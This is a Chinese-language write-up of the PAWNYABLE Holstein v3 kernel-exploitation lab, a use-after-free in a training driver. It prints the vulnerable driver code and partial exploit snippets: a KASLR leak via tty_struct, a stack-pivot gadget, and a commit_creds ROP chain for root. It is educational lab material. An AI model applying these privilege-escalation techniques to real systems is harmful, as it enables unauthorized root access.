PAWNYABLE UAF漏洞解析(Holstein v3)
引言
作者分享了学习Linux内核漏洞利用的历程,重点介绍了PAWNYABLE平台提供的学习资源。该平台包含Linux内核漏洞利用教程,涵盖调试环境搭建、CTF技巧、现代内核防护机制等内容。
技术背景
- 漏洞类型:驱动程序中的Use-After-Free漏洞
- 关键结构 :
tty_struct
和msg_msg
内核数据结构 - 利用技术:KASLR绕过、堆喷(Heap Spraying)、ROP链构造
漏洞分析
驱动程序存在以下问题代码:
c
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file) {
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL); // 分配内核缓冲区
// ...
}
static int module_close(struct inode *inode, struct file *file) {
kfree(g_buf); // 释放缓冲区但未置空
return 0;
}
通过多次打开/关闭驱动描述符,可创建UAF条件。
利用步骤
-
KASLR绕过:
- 利用
tty_struct
的ops
指针泄露内核基址
cuint64_t ops = *(uint64_t *)&ops_buf[24]; // 读取tty_operations指针 uint64_t base = ops - 0xc39b40ULL; // 计算内核基址
- 利用
-
控制流劫持:
- 伪造
tty_operations
函数表 - 使用栈转移gadget:
asm0x14fbea: push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
- 伪造
-
ROP链构建:
c*rop++ = pop_rdi; *rop++ = 0x0; *rop++ = prepare_kernel_cred; // 获取root凭证 *rop++ = xchg_rdi_rax; *rop++ = commit_creds; // 提权
-
内存布局操控:
- 使用
msg_msg
结构精确控制堆布局 - 通过消息队列泄露内核堆地址
- 使用
可靠性增强
- 校验
tty_struct
的magic值(0x5401) - 使用特定消息类型(0x1337)标识
msg_msg
结构 - 修复清理函数指针避免内核崩溃
完整利用代码
包含以下关键组件:
/dev/ptmx
喷射实现堆风水- 多阶段UAF触发逻辑
- 用户态-内核态切换的KPTI绕过
延伸阅读
推荐的内核漏洞利用资源:
- Grapl Security的IOUring漏洞分析
- Google Project Zero的CVE-2021-22555分析
- NCC Group的CVE-2022-32250漏洞报告
特别感谢@ptrYudai和@chompie1337提供的宝贵资源和建议。